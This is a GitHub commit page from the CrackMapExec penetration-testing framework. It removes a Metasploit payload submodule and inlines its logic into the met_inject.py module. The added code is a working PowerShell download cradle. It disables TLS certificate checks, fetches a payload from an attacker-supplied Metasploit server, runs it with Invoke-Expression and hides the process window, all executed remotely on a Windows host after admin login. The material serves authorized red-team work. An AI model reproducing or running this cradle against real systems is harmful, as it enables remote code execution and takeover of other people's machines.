Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 47fe1e4

Browse files
author
mpgn
committed
Remove submodule and simplify metasploit module #357
1 parent ef934a7 commit 47fe1e4

File tree

3 files changed

+19
-22
lines changed

3 files changed

+19
-22
lines changed

.gitmodules

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,3 @@
3131
[submodule "cme/data/RID-Hijacking"]
3232
path = cme/data/RID-Hijacking
3333
url = https://github.com/r4wd3r/RID-Hijacking.git
34-
[submodule "cme/data/Invoke-MetasploitPayload"]
35-
path = cme/data/Invoke-MetasploitPayload
36-
url = https://github.com/jaredhaight/Invoke-MetasploitPayload

cme/data/Invoke-MetasploitPayload

Lines changed: 0 additions & 1 deletion
This file was deleted.

cme/modules/met_inject.py

Lines changed: 19 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -33,23 +33,24 @@ def options(self, context, module_options):
3333
self.srvport = module_options['SRVPORT']
3434
self.rand = module_options['RAND']
3535

36-
self.ps_script = obfs_ps_script('Invoke-MetasploitPayload/Invoke-MetasploitPayload.ps1')
37-
3836
def on_admin_login(self, context, connection):
39-
payload = """Invoke-MetasploitPayload {}://{}:{}/{}""".format('http' if self.met_ssl == 'http' else 'https',
40-
self.srvhost,
41-
self.srvport,
42-
self.rand)
43-
launcher = gen_ps_iex_cradle(context, 'Invoke-MetasploitPayload.ps1', payload, post_back=False)
44-
connection.ps_execute(launcher, force_ps32=True)
37+
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
38+
command = """$url="{}://{}:{}/{}"
39+
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
40+
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
41+
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
42+
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
43+
$ProcessInfo.FileName=$PowershellExe
44+
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
45+
$ProcessInfo.UseShellExecute = $False
46+
$ProcessInfo.RedirectStandardOutput = $True
47+
$ProcessInfo.CreateNoWindow = $True
48+
$ProcessInfo.WindowStyle = "Hidden"
49+
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
50+
'http' if self.met_ssl == 'http' else 'https',
51+
self.srvhost,
52+
self.srvport,
53+
self.rand)
54+
context.log.debug(command)
55+
connection.ps_execute(command, force_ps32=True)
4556
context.log.success('Executed payload')
46-
47-
def on_request(self, context, request):
48-
if 'Invoke-MetasploitPayload.ps1' == request.path[1:]:
49-
request.send_response(200)
50-
request.end_headers()
51-
request.wfile.write(self.ps_script.encode())
52-
request.stop_tracking_host()
53-
else:
54-
request.send_response(404)
55-
request.end_headers()

0 commit comments

Comments
 (0)